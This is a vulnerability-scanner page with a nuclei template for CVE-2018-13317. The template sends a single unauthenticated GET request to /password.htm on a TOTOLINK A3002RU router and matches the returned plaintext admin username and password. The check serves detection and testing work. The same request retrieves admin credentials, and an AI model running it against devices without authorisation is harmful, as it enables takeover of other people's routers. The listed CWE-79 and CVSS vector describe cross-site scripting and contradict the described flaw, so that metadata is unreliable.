TOTOLINK A3002RU 1.0.8 - Information Disclosure

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.

Impact

Unauthenticated attackers can obtain the plaintext administrator password without any authentication, leading to complete device compromise.

Fix

Update to the latest firmware version that addresses this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/password.htm
Positive when: matches /orgpassword=[^&\s]+"/ AND not contains "orgpassword=''" AND status 200

Run it with nuclei: nuclei -id CVE-2018-13317 -u <target>

The full check

id: CVE-2018-13317

info:
  name: TOTOLINK A3002RU 1.0.8 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.
  impact: |
    Unauthenticated attackers can obtain the plaintext administrator password without any authentication, leading to complete device compromise.
  remediation: |
    Update to the latest firmware version that addresses this vulnerability.
  reference:
    - https://blog.securityevaluators.com/new-vulnerabilities-in-totolink-a3002ru-d6f42a081154
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13317
  classification:
    cve-id: CVE-2018-13317
    epss-score: 0.00991
    epss-percentile: 0.62841
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cpe: cpe:2.3:o:totolink:a3002ru_firmware:1.0.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-requests: 1
    vendor: totolink
    product: a3002ru
    fofa-query: title="totolink"
  tags: cve,cve2018,totolink,password,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.htm"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - orgpassword=[^&\s]+"
          - orgusername=[^&\s]+
        condition: and

      - type: word
        part: body
        words:
          - "orgpassword=''"
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from